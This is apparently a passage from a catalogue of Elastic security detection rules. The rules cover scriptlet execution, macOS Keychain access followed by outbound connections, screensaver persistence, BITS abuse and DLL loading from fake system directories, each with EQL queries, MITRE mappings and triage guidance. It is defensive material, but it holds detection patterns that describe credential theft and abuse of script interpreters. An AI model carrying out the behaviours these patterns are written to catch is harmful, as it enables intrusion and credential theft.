id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.005"
name = "Visual Basic"
reference = "https://attack.mitre.org/techniques/T1059/005/"
[[threat.technique.subtechnique]]
id = "T1059.007"
name = "JavaScript"
reference = "https://attack.mitre.org/techniques/T1059/007/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1027"
name = "Obfuscated Files or Information"
reference = "https://attack.mitre.org/techniques/T1027/"
[[threat.technique.subtechnique]]
id = "T1027.001"
name = "Binary Padding"
reference = "https://attack.mitre.org/techniques/T1027/001/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.4.0"
Stages and Predicates
Stage 1: file
[file where event.action != "deletion" and
file.extension : ("js", "vbs", "jse", "vbe", "wsh", "hta", "wsf") and
(
process.name : ("explorer.exe", "cmd.exe", "powershell.exe", "winrar.exe", "expand.exe", "wscript.exe", "cscript.exe", "msiexec.exe",
"chrome.exe", "msedge.exe", "firefox.exe", "7zFM.exe", "7zG.exe", "python*.exe", "certutil.exe", "mshta.exe") or
(process.code_signature.exists == false or process.code_signature.trusted == false)
) and
file.size >= 400000 and file.path : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*")] as event0
Stage 2: process
[process where event.action == "start" and
process.name : ("wscript.exe", "cscript.exe", "mshta.exe") and process.args_count >= 2 and
stringcontains~(process.command_line, event0.file.name)]
Indicators
These rows show field, operator, and value matches.
Suspicious Script Object Execution
#Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being executed in the target process.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Stealth |
Rule Body
[metadata]
creation_date = "2020/09/02"
integration = ["endpoint", "windows"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being
executed in the target process.
"""
from = "now-9m"
index = ["logs-endpoint.events.library-*", "logs-windows.sysmon_operational-*", "winlogbeat-*", "endgame-*"]
language = "eql"
license = "Elastic License v2"
name = "Suspicious Script Object Execution"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Suspicious Script Object Execution
The scrobj.dll is a legitimate Windows library used for executing scriptlets, often in automation tasks. However, adversaries can exploit it to run malicious scripts within trusted processes, evading detection. The detection rule identifies unusual loading of scrobj.dll in non-standard processes, flagging potential misuse. By excluding common executables, it focuses on anomalous activity, aiding in early threat detection.
### Possible investigation steps
- Review the process executable path to confirm if it is indeed non-standard for loading scrobj.dll, as specified in the query.
- Check the parent process of the flagged executable to understand how it was initiated and assess if it aligns with typical behavior.
- Investigate the user account associated with the process execution to determine if it is a legitimate user or potentially compromised.
- Analyze recent activity on the host for any other suspicious behavior or anomalies that might correlate with the alert.
- Examine network connections from the host to identify any unusual or unauthorized external communications that could indicate malicious activity.
- Review historical data for similar alerts on the same host to identify patterns or repeated suspicious behavior.
### False positive analysis
- Legitimate administrative scripts may trigger the rule if they are executed using non-standard processes. To handle this, identify and document regular administrative tasks that use scriptlets and exclude these specific processes from the rule.
- Custom enterprise applications that utilize scrobj.dll for legitimate automation purposes might be flagged. Review these applications and add them to the exclusion list if they are verified as safe.
- Scheduled tasks or maintenance scripts that load scrobj.dll in non-standard processes can cause false positives. Regularly audit scheduled tasks and exclude known safe processes from the detection rule.
- Development or testing environments where scriptlets are frequently used for automation may generate alerts. Consider creating a separate rule set for these environments to reduce noise while maintaining security monitoring.
### Response and remediation
- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement.
- Terminate any suspicious processes identified as loading scrobj.dll in non-standard executables to halt malicious activity.
- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious scripts or files.
- Review and restore any altered system configurations or settings to their default state to ensure system integrity.
- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.
- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the processes identified in the detection rule.
- Update detection mechanisms to monitor for similar activities across the network, ensuring that any future attempts to exploit scrobj.dll are promptly identified and addressed."""
risk_score = 47
rule_id = "4ed678a9-3a4f-41fb-9fea-f85a6e0a0dff"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: Elastic Defend",
"Data Source: Elastic Endgame",
"Data Source: Sysmon",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
any where host.os.type == "windows" and
(event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and
(?dll.name : "scrobj.dll" or ?file.name : "scrobj.dll") and
process.executable : ("?:\\Windows\\System32\\*.exe", "?:\\Windows\\SysWOW64\\*.exe") and
not process.executable : (
"?:\\Windows\\System32\\cscript.exe",
"?:\\Windows\\SysWOW64\\cscript.exe",
"?:\\Windows\\system32\\msiexec.exe",
"?:\\Windows\\SysWOW64\\msiexec.exe",
"?:\\Windows\\System32\\smartscreen.exe",
"?:\\Windows\\system32\\taskhostw.exe",
"?:\\windows\\system32\\inetsrv\\w3wp.exe",
"?:\\windows\\SysWOW64\\inetsrv\\w3wp.exe",
"?:\\Windows\\system32\\wscript.exe",
"?:\\Windows\\SysWOW64\\wscript.exe",
"?:\\Windows\\System32\\mshta.exe",
"?:\\Windows\\system32\\mobsync.exe",
"?:\\Windows\\SysWOW64\\mobsync.exe",
"?:\\Windows\\System32\\cmd.exe",
"?:\\Windows\\SysWOW64\\cmd.exe",
"?:\\Windows\\System32\\OpenWith.exe",
"?:\\Windows\\System32\\wbem\\WMIADAP.exe",
"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")
'''
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [Sysmon Event ID 7 - Image Loaded](https://ela.st/sysmon-event-7-setup)
"""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1218"
name = "System Binary Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1218/"
[[rule.threat.technique.subtechnique]]
id = "T1218.010"
name = "Regsvr32"
reference = "https://attack.mitre.org/techniques/T1218/010/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Stage 1: any
any where host.os.type == "windows" and
(event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and
(?dll.name : "scrobj.dll" or ?file.name : "scrobj.dll") and
process.executable : ("?:\\Windows\\System32\\*.exe", "?:\\Windows\\SysWOW64\\*.exe") and
not process.executable : (
"?:\\Windows\\System32\\cscript.exe",
"?:\\Windows\\SysWOW64\\cscript.exe",
"?:\\Windows\\system32\\msiexec.exe",
"?:\\Windows\\SysWOW64\\msiexec.exe",
"?:\\Windows\\System32\\smartscreen.exe",
"?:\\Windows\\system32\\taskhostw.exe",
"?:\\windows\\system32\\inetsrv\\w3wp.exe",
"?:\\windows\\SysWOW64\\inetsrv\\w3wp.exe",
"?:\\Windows\\system32\\wscript.exe",
"?:\\Windows\\SysWOW64\\wscript.exe",
"?:\\Windows\\System32\\mshta.exe",
"?:\\Windows\\system32\\mobsync.exe",
"?:\\Windows\\SysWOW64\\mobsync.exe",
"?:\\Windows\\System32\\cmd.exe",
"?:\\Windows\\SysWOW64\\cmd.exe",
"?:\\Windows\\System32\\OpenWith.exe",
"?:\\Windows\\System32\\wbem\\WMIADAP.exe",
"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
dll.name | wildcard |
| field:"dll.name" kind:wildcard value:"scrobj.dll" |
event.action | wildcard |
| field:"EventType" kind:wildcard value:"Image loaded*" |
event.category | eq |
| field:"event.category" kind:eq value:"process" |
event.category | wildcard |
| field:"event.category" kind:wildcard |
file.name | wildcard |
| field:"file.name" kind:wildcard value:"scrobj.dll" |
process.executable | wildcard |
| field:"Image" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | eq | ?:\Windows\System32\cscript.exe, ?:\Windows\SysWOW64\cscript.exe, ?:\Windows\system32\msiexec.exe, ?:\Windows\SysWOW64\msiexec.exe, ?:\Windows\System32\smartscreen.exe, ?:\Windows\system32\taskhostw.exe, ?:\windows\system32\inetsrv\w3wp.exe, ?:\windows\SysWOW64\inetsrv\w3wp.exe, ?:\Windows\system32\wscript.exe, ?:\Windows\SysWOW64\wscript.exe, ?:\Windows\System32\mshta.exe, ?:\Windows\system32\mobsync.exe, ?:\Windows\SysWOW64\mobsync.exe, ?:\Windows\System32\cmd.exe, ?:\Windows\SysWOW64\cmd.exe, ?:\Windows\System32\OpenWith.exe, ?:\Windows\System32\wbem\WMIADAP.exe, ?:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | excludes:process.executable |
Suspicious User Keychain Access via Nodejs
#Detects when the Node process accesses or attempts to access the user Keychain database followed by an outbound network connection to a raw ip address.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry Coverage
| Platform | Record / event type |
|---|---|
| macOS | ESF event open (NOTIFY): Fires after the kernel grants a process access to open a file. |
Rule Body
[rule]
description = """
Detects when the Node process accesses or attempts to access the user Keychain database followed by an outbound network
connection to a raw ip address.
"""
id = "b9e99ec9-9232-4fb0-8fe3-2a607d4959b5"
license = "Elastic License v2"
name = "Suspicious User Keychain Access via Nodejs"
os_list = ["macos"]
reference = ["https://www.group-ib.com/blog/apt-lazarus-python-scripts/"]
version = "1.0.4"
query = '''
sequence by process.entity_id with maxspan=15s
[file where event.action == "open" and process.name == "node" and file.name == "login.keychain-db"]
[network where event.type == "start" and source.ip == "0.0.0.0" and destination.domain == null and
not cidrmatch(destination.ip,
"240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", "192.18.0.0/15",
"192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12",
"192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24",
"100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24",
"::1", "FE80::/10", "FF00::/8")]
'''
min_endpoint_version = "8.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "Effective_process.entity_id"
state = 0
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1555"
name = "Credentials from Password Stores"
reference = "https://attack.mitre.org/techniques/T1555/"
[[threat.technique.subtechnique]]
id = "T1555.001"
name = "Keychain"
reference = "https://attack.mitre.org/techniques/T1555/001/"
[threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[internal]
min_endpoint_version = "8.16.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 15s, correlated by process.entity_id.
Stage 1: file
[file where event.action == "open" and process.name == "node" and file.name == "login.keychain-db"]
Stage 2: network
[network where event.type == "start" and source.ip == "0.0.0.0" and destination.domain == null and
not cidrmatch(destination.ip,
"240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", "192.18.0.0/15",
"192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12",
"192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24",
"100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24",
"::1", "FE80::/10", "FF00::/8")]
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
destination.ip | cidr_match | 240.0.0.0/4, 233.252.0.0/24, 224.0.0.0/4, 198.19.0.0/16, 192.18.0.0/15, 192.0.0.0/24, 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.2.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.168.0.0/16, 192.88.99.0/24, 100.64.0.0/10, 192.175.48.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, ::1, FE80::/10, FF00::/8 | excludes:destination.ip |
Unexpected Child Process of macOS Screensaver Engine
#Identifies when a child process is spawned by the screensaver engine process, which is consistent with an attacker's malicious payload being executed after the screensaver activated on the endpoint. An adversary can maintain persistence on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to execute code each time the screensaver is activated.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry Coverage
Rule Body
[rule]
description = """
Identifies when a child process is spawned by the screensaver engine process, which is consistent with an attacker's
malicious payload being executed after the screensaver activated on the endpoint. An adversary can maintain persistence
on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to
execute code each time the screensaver is activated.
"""
id = "fba012f6-7aa8-448e-8f59-cdecce2845b5"
license = "Elastic License v2"
name = "Unexpected Child Process of macOS Screensaver Engine"
os_list = ["macos"]
reference = [
"https://posts.specterops.io/saving-your-access-d562bf5bf90b",
"https://github.com/D00MFist/PersistentJXA",
]
version = "1.0.29"
query = '''
process where event.action == "exec" and process.parent.name == "ScreenSaverEngine"
'''
min_endpoint_version = "8.10.2"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"
[[threat.technique.subtechnique]]
id = "T1546.002"
name = "Screensaver"
reference = "https://attack.mitre.org/techniques/T1546/002/"
[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[internal]
min_endpoint_version = "8.10.2"
Stages and Predicates
Stage 1: process
process where event.action == "exec" and process.parent.name == "ScreenSaverEngine"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
process.parent.name | eq |
| field:"parent_process_basename" kind:eq value:"ScreenSaverEngine" |
Unsigned BITS Service Client Process
#Identifies an unsigned Windows Background Intelligent Transfer Service (BITS) client process. Attackers may abuse BITS functionality to download or upload data using the BITS service.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[metadata]
creation_date = "2023/09/27"
integration = ["endpoint"]
maturity = "production"
updated_date = "2024/05/21"
[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies an unsigned Windows Background Intelligent Transfer Service (BITS) client process. Attackers may abuse BITS
functionality to download or upload data using the BITS service.
"""
from = "now-119m"
index = ["logs-endpoint.events.library-*"]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "Unsigned BITS Service Client Process"
references = [
"https://web.archive.org/web/20230531215706/https://blog.menasec.net/2021/05/hunting-for-suspicious-usage-of.html",
"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-2",
]
risk_score = 21
rule_id = "9a3884d0-282d-45ea-86ce-b9c81100f026"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Rule Type: BBR",
"Data Source: Elastic Defend",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
library where dll.name : "Bitsproxy.dll" and process.executable != null and
not process.code_signature.trusted == true and
not process.code_signature.status : ("errorExpired", "errorCode_endpoint*")
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1036"
name = "Masquerading"
reference = "https://attack.mitre.org/techniques/T1036/"
[[rule.threat.technique.subtechnique]]
id = "T1036.001"
name = "Invalid Code Signature"
reference = "https://attack.mitre.org/techniques/T1036/001/"
[[rule.threat.technique]]
id = "T1197"
name = "BITS Jobs"
reference = "https://attack.mitre.org/techniques/T1197/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: library
library where dll.name : "Bitsproxy.dll" and process.executable != null and
not process.code_signature.trusted == true and
not process.code_signature.status : ("errorExpired", "errorCode_endpoint*")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
dll.name | wildcard |
| field:"dll.name" kind:wildcard value:"Bitsproxy.dll" |
process.executable | is_not_null | field:"Image" kind:is_not_null |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.code_signature.status | wildcard | errorExpired, errorCode_endpoint* | excludes:process.code_signature.status field:"process.code_signature.status" value:"errorExpired" field:"process.code_signature.status" value:"errorCode_endpoint*" |
process.code_signature.trusted | eq | true | excludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true" |
Unsigned DLL Loaded from Fake Windows Directory
#Identifies when a process running from a trusted path attempts to load a library from a fake Windows directory. This may indicate an attempt to elevate privileges via remapping of the ROOT drive using the NtCreateSymbolicLinkObject API.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Stealth |
Rule Body
[rule]
description = """
Identifies when a process running from a trusted path attempts to load a library from a fake Windows directory. This may
indicate an attempt to elevate privileges via remapping of the ROOT drive using the NtCreateSymbolicLinkObject API.
"""
id = "6b35ae63-8ba1-4cbb-bdf0-e6040ccb3170"
license = "Elastic License v2"
name = "Unsigned DLL Loaded from Fake Windows Directory"
os_list = ["windows"]
reference = ["https://www.elastic.co/security-labs/itw-windows-lpe-0days-insights-and-detection-strategies"]
version = "1.0.6"
query = '''
library where
(dll.code_signature.trusted == false or dll.code_signature.exists == false) and
(dll.Ext.relative_file_creation_time <= 3600 or dll.Ext.relative_file_name_modify_time <= 3600) and
process.executable : ("C:\\Windows\\System32\\*.exe", "C:\\Windows\\SysWOW64\\*.exe", "C:\\Program Files*") and
(
(dll.path :
("C:\\*\\Windows\\System32\\*",
"C:\\*\\Windows\\SysWOW64\\*",
"C:\\*\\Windows\\WinSxS\\*",
"C:\\*\\Windows\\assembly\\*") and
not dll.path :
("C:\\Windows\\assembly\\*",
"C:\\Windows\\Microsoft.NET\\*",
"C:\\Windows\\WinSxS\\*",
"C:\\Windows\\System32\\*",
"C:\\Windows\\SysWOW64\\*",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\migration\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\SysWOW64\\migration\\*.dll",
"C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\System32\\*.dll",
"C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\SysWOW64\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\migration\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\SysWOW64\\migration\\*.dll",
"C:\\Windows.old\\WINDOWS\\System32\\DriverStore\\*.dll",
"C:\\$WinREAgent\\Scratch\\Mount\\Windows\\*.dll")) or
/* user writable and can be abused for root drive remap */
dll.path : "?:\\Windows\\System32\\tasks\\*"
) and
dll.hash.sha256 != "c6ae7678e3631358bb29e267b98ed27432009976ceed62a268b52991ca874086"
'''
min_endpoint_version = "8.4.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[[threat.technique.subtechnique]]
id = "T1574.001"
name = "DLL"
reference = "https://attack.mitre.org/techniques/T1574/001/"
[threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[internal]
min_endpoint_version = "8.4.0"
Stages and Predicates
Stage 1: library
library where
(dll.code_signature.trusted == false or dll.code_signature.exists == false) and
(dll.Ext.relative_file_creation_time <= 3600 or dll.Ext.relative_file_name_modify_time <= 3600) and
process.executable : ("C:\\Windows\\System32\\*.exe", "C:\\Windows\\SysWOW64\\*.exe", "C:\\Program Files*") and
(
(dll.path :
("C:\\*\\Windows\\System32\\*",
"C:\\*\\Windows\\SysWOW64\\*",
"C:\\*\\Windows\\WinSxS\\*",
"C:\\*\\Windows\\assembly\\*") and
not dll.path :
("C:\\Windows\\assembly\\*",
"C:\\Windows\\Microsoft.NET\\*",
"C:\\Windows\\WinSxS\\*",
"C:\\Windows\\System32\\*",
"C:\\Windows\\SysWOW64\\*",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\migration\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\SysWOW64\\migration\\*.dll",
"C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\System32\\*.dll",
"C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\SysWOW64\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\migration\\*.dll",
"C:\\$WINDOWS.~BT\\NewOS\\Windows\\SysWOW64\\migration\\*.dll",
"C:\\Windows.old\\WINDOWS\\System32\\DriverStore\\*.dll",
"C:\\$WinREAgent\\Scratch\\Mount\\Windows\\*.dll")) or
dll.path : "?:\\Windows\\System32\\tasks\\*"
) and
dll.hash.sha256 != "c6ae7678e3631358bb29e267b98ed27432009976ceed62a268b52991ca874086"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
dll.Ext.relative_file_creation_time | le |
| field:"dll.Ext.relative_file_creation_time" kind:le value:"3600" |
dll.Ext.relative_file_name_modify_time | le |
| field:"dll.Ext.relative_file_name_modify_time" kind:le value:"3600" |
dll.code_signature.exists | eq |
| field:"dll.code_signature.exists" kind:eq value:"false" |
dll.code_signature.trusted | eq |
| field:"dll.code_signature.trusted" kind:eq value:"false" |
dll.hash.sha256 | ne |
| field:"Hashes" kind:ne value:"c6ae7678e3631358bb29e267b98ed27432009976ceed62a268b52991ca874086" |
dll.path | wildcard |
| field:"ImageLoaded" kind:wildcard |
process.executable | wildcard |
| field:"Image" kind:wildcard |
Unusual Discovery Signal Alert with Unusual Process Executable
#This rule leverages Discovery building block rule alert data to alert on signals with unusual unique host.id, user.id and process.executable entries.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Discovery | No specific technique |
Rule Body
[metadata]
creation_date = "2023/09/22"
maturity = "production"
updated_date = "2026/01/15"
[rule]
author = ["Elastic"]
description = """
This rule leverages Discovery building block rule alert data to alert on signals with unusual unique host.id, user.id
and process.executable entries.
"""
from = "now-9m"
index = [".alerts-security.*"]
language = "kuery"
license = "Elastic License v2"
name = "Unusual Discovery Signal Alert with Unusual Process Executable"
risk_score = 21
rule_id = "72ed9140-fe9d-4a34-a026-75b50e484b17"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Discovery",
"Rule Type: Higher-Order Rule",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
host.os.type:windows and event.kind:signal and kibana.alert.rule.rule_id:"1d72d014-e2ab-4707-b056-9b96abe7b511"
'''
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Unusual Discovery Signal Alert with Unusual Process Executable
In Windows environments, discovery activities often involve querying system information, which adversaries exploit to gather intelligence for further attacks. They may use uncommon processes to evade detection. This detection rule identifies anomalies by flagging signals with rare host, user, and process combinations, indicating potential misuse of discovery tactics.
### Possible investigation steps
- Review the alert details to identify the specific host.id, user.id, and process.executable involved in the alert to understand the context of the unusual activity.
- Check the historical activity of the identified host.id and user.id to determine if this combination has been seen before and assess if the behavior is truly anomalous.
- Investigate the process.executable to verify its legitimacy, including checking its file path, digital signature, and any known associations with legitimate or malicious software.
- Correlate the alert with other security events or logs from the same host or user to identify any additional suspicious activities or patterns that may indicate a broader threat.
- Consult threat intelligence sources to determine if the process.executable or any related indicators are associated with known threat actors or campaigns.
- Assess the potential impact and risk of the activity by considering the host's role within the network and the user's access level to sensitive data or systems.
### False positive analysis
- Routine administrative tasks may trigger alerts if they involve uncommon processes. Identify these tasks and create exceptions for known benign activities to prevent unnecessary alerts.
- Software updates or installations can generate unusual process executions. Monitor and document these events, and exclude them from alerts if they are verified as legitimate.
- Custom scripts or tools used by IT staff for system management might be flagged. Review these scripts and whitelist them if they are part of regular operations.
- Automated processes or scheduled tasks that run under specific user accounts may appear suspicious. Verify these tasks and exclude them if they are part of normal system behavior.
- Third-party security or monitoring tools might use unique processes for legitimate discovery activities. Validate these tools and add them to the exception list to avoid false positives.
### Response and remediation
- Isolate the affected host immediately to prevent further lateral movement or data exfiltration. Disconnect it from the network while maintaining power to preserve volatile data for forensic analysis.
- Terminate the unusual process executable identified in the alert to halt any ongoing malicious activity. Use task management tools or scripts to ensure the process is stopped.
- Conduct a thorough review of the user account associated with the alert. Reset the account credentials and enforce multi-factor authentication to prevent unauthorized access.
- Analyze the process executable and its origin. Check for any associated files or scripts that may have been dropped on the system and remove them.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign.
- Implement additional monitoring on the affected host and user account to detect any further suspicious activities. Use enhanced logging and alerting to capture detailed information.
- Review and update endpoint protection policies to block similar unusual processes in the future, ensuring that the security tools are configured to detect and respond to such anomalies."""
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
[rule.new_terms]
field = "new_terms_fields"
value = ["host.id", "user.id", "process.executable"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-5d"
Stages and Predicates
Stage 1: new_terms
host.os.type:windows and event.kind:signal and kibana.alert.rule.rule_id:"1d72d014-e2ab-4707-b056-9b96abe7b511"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.kind | eq |
| field:"event.kind" kind:eq value:"signal" |
kibana.alert.rule.rule_id | eq |
| field:"kibana.alert.rule.rule_id" kind:eq value:"1d72d014-e2ab-4707-b056-9b96abe7b511" |